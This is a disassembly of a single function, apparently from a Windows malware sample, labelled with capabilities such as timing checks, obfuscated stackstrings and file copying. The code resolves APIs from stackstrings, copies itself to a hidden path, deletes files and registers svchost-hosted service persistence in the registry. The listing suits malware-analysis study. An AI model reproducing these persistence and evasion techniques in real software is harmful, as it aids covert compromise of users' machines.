Function at 0x1000f970
Capabilities:
Check for time delay via gettickcount
Contain obfuscated stackstrings
Copy file
Delete file
Query environment variable
Set file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x628
cmp eax, 1
push ebp
push esi
push edi
jne 0x1000fbe8
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x21], cl
mov byte [esp + 0x26], cl
mov byte [esp + 0x27], cl
mov cl, 0x74
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov byte [esp + 0xe], al
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 0x10], cl
mov byte [esp + 0x16], cl
lea eax, [esp + 0xc]
lea ecx, [esp + 0x1c]
mov dl, 0x6e
push eax
push ecx
mov byte [esp + 0x24], 0x6b
mov byte [esp + 0x26], 0x72
mov byte [esp + 0x27], dl
mov byte [esp + 0x2a], 0x33
mov byte [esp + 0x2b], 0x32
mov byte [esp + 0x2c], 0x2e
mov byte [esp + 0x2d], 0x64
mov byte [esp + 0x30], 0
mov byte [esp + 0x14], 0x43
mov byte [esp + 0x15], 0x72
mov byte [esp + 0x17], 0x61
mov byte [esp + 0x1a], 0x45
mov byte [esp + 0x1b], 0x76
mov byte [esp + 0x1d], dl
mov byte [esp + 0x1f], 0x41
mov byte [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x3a0
push str.Hwdmx_WtnoxjhTu
mov ebp, eax
call fcn.1000f5b0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov edx, dword [esp + 0x644]
add esp, 0xc
push 0x104
push 0x1001e7ac
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x31]
mov byte [esp + 0x30], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 4
stosb byte es:[edi], al
lea eax, [esp + 0x2c]
push 0x104
push eax
push str._RqmbzdlDjn_p__IatTPfaziimlk_xha
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edi, [esp + 0x2c]
or ecx, 0xffffffff
xor eax, eax
push str._RqmbzdlDjn_p__IatTPfaziimlk_xha
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x1001e7ac
mov edx, ecx
mov esi, edi
mov edi, str._RqmbzdlDjn_p__IatTPfaziimlk_xha
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
jne 0x1000faea
mov eax, dword [esp + 0x638]
mov dword [0x1001e65c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1001e64c], eax
call fcn.10007f20
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x628
ret 0xc
push str.Glable__Wait
push 0
push 0
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.10007140
push str._RqmbzdlDjn_p__IatTPfaziimlk_xha
call fcn.1000e7b0
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
push str._RqmbzdlDjn_p__IatTPfaziimlk_xha
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0xb
mov esi, str._SystemRoot_System32_svchost.exe__k_imgsvc
lea edi, [esp + 0x130]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x36
lea edi, [esp + 0x15c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x130]
push ecx
call fcn.1000e840
add esp, 4
call fcn.1000eb10
call fcn.1000ed00
push 0x1000
push str._RqmbzdlDjn_p__IatTPfaziimlk_xha
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push str._RqmbzdlDjn_p__IatTPfaziimlk_xha
push 0x1001e7ac
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str._RqmbzdlDjn_p__IatTPfaziimlk_xha
call fcn.1000f270
push str.Hwdmx_WtnoxjhTu
lea edx, [esp + 0x23c]
push str.SYSTEMCurrentControlSetServices_s
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0
push str.Ffddvhu
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push str.Ffddvhu
push 1
lea eax, [esp + 0x244]
push str.ConnectGroup
push eax
push getsockname
call fcn.100097d0
add esp, 0x1c
call fcn.1000e990
call fcn.1000e8d0
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x628
ret 0xc